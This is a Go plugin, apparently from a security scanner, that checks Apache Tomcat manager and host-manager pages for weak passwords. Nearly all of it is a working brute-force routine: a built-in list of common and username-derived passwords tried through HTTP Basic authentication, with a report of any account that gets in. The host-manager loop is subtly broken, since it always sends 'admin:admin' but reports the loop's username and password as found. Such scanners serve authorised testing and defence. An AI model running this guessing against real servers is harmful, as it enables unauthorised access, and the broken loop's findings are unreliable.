package exploits

import (
	"encoding/base64"
	"fmt"
	"net"
	"net/http"
	"prismx_cli/core/models"
	"prismx_cli/utils/netUtils"
	"strconv"
	"strings"
	"time"
)

// init 注册插件插件
func init() {

	userList := []string{"tomcat", "admin"}
	passList := []string{
		"tomcat",
		"admin",
		"password",
		"%user%",
		"%user%123",
		"%user%1234",
		"%user%12345",
		"%user%123456",
		"%user%@123456",
		"%user%@12345",
		"%user%#123",
		"%user%#123456",
		"%user%#12345",
		"%user%_123",
		"%user%_123456",
		"%user%_12345",
		"%user%123!@#",
		"%user%!@#$",
		"%user%!@#",
		"%user%~!@",
		"%user%!@#123",
		"qweasdzxc",
		"Passw0rd",
		"admin123",
		"admin888",
		"root123",
		"123456",
		"12345",
		"root",
		"qwerty",
		"1q2w3e4r",
		"1qaz2wsx",
		"qazwsx",
		"123qwe",
		"123qaz",
		"1234567",
		"123456qwerty",
		"password123",
		"12345678",
		"1q2w3e",
		"abc123",
		"test123",
		"123456789",
	}
	models.Register(models.AppVulInfo{
		App:   "Apache Tomcat",
		Query: "app:\"Apache Tomcat\"",
		Meta: models.VulMeta{
			Name:        "Tomcat Weak Password",
			Tags:        []string{"weak_password"},
			Author:      "一曲成殇",
			Description: "Tomcat是一个开源的JavaWeb应用服务器，它的弱口令指的是在Tomcat的管理界面（Tomcat Manager）上使用弱密码设置的情况。如果违规使用弱密码，会给攻击者提供进入Tomcat服务器并对其进行任意操作的机会。",
			Homepage:    "https://tomcat.apache.org/",
			Level:       4,
			References:  "https://www.cnblogs.com/KbCat/p/12470708.html",
			Solution:    "修改Tomcat Manager的默认访问路径：默认路径为/manager，可以通过修改server.xml文件中的Context标签的path属性来修改访问路径。例如，将<Context path=\"/manager\" ...>修改为<Context path=\"/随机字符串\" ...>。",
			CreateAt:    "2021-10-04",
			Available:   false,
			Steps: models.StepsMeta{
				VerifySteps: models.VerifySteps{
					VerifyGo: func(scheme, ip string, port int, duration time.Duration) (result models.VulResult) {

						url := scheme + "://" + net.JoinHostPort(ip, strconv.Itoa(port))
						//检测是否存在管理页面
						request, err := http.NewRequest("GET", url+"/manager/html", nil)
						if err != nil {
							result.Response = err.Error()
							return
						}
						sendHttp, err := netUtils.SendHttp(request, duration, true)
						if err != nil {
							result.Response = err.Error()
							return
						}

						if sendHttp.Other.StatusCode == http.StatusUnauthorized && strings.Contains(string(sendHttp.Body), "You are not authorized to view this page. If you have not changed") {
							for _, user := range userList {
								for _, pass := range passList {
									if strings.Contains(pass, "%user%") {
										pass = strings.ReplaceAll(pass, "%user%", user)
									}
									managerRequest, err := http.NewRequest("GET", url+"/manager/html", nil)
									if err != nil {
										result.Response = err.Error()
										return
									}
									managerRequest.Header.Add("Authorization", "Basic "+base64.StdEncoding.EncodeToString([]byte(user+":"+pass)))
									managerSendHttp, err := netUtils.SendHttp(managerRequest, duration, false)
									if err != nil {
										result.Response = err.Error()
										return
									}
									if managerSendHttp.Other.StatusCode == http.StatusOK && strings.Contains(string(managerSendHttp.Body), "Tomcat Web Application Manager") && strings.Contains(string(managerSendHttp.Body), "HTML Manager Help") {
										result.Response = fmt.Sprintf("Detected Tomcat manager/html weak password, account:%s, password:%s, host management password will no longer be scanned", user, pass)
										result.Request = managerSendHttp.RequestRaw
										result.State = true
										return
									}
								}
							}

							for _, user := range userList {
								for _, pass := range passList {
									if strings.Contains(pass, "%user%") {
										pass = strings.ReplaceAll(pass, "%user%", user)
									}
									hostRequest, err := http.NewRequest("GET", url+"/host-manager/html", nil)
									if err != nil {
										result.Response = err.Error()
										return
									}
									hostRequest.Header.Set("Authorization", "Basic "+base64.StdEncoding.EncodeToString([]byte("admin:admin")))
									managerSendHttp, err := netUtils.SendHttp(hostRequest, duration, true)
									if err != nil {
										result.Response = err.Error()
										return
									}
									if managerSendHttp.Other.StatusCode == http.StatusOK && strings.Contains(string(managerSendHttp.Body), "Tomcat Virtual Host Manager") && strings.Contains(string(managerSendHttp.Body), "List Virtual Hosts") {
										result.Response = "Detected Tomcat host-manager/html weak password, account:" + user + " password:" + pass
										result.Request = managerSendHttp.RequestRaw
										result.State = true
										return
									}
								}
							}
							result.Response = "Account and password not detected"
							return
						}
						result.Response = "The target does not have a tomcat backend management page"
						return
					},
				},
			},
		},
	})
}
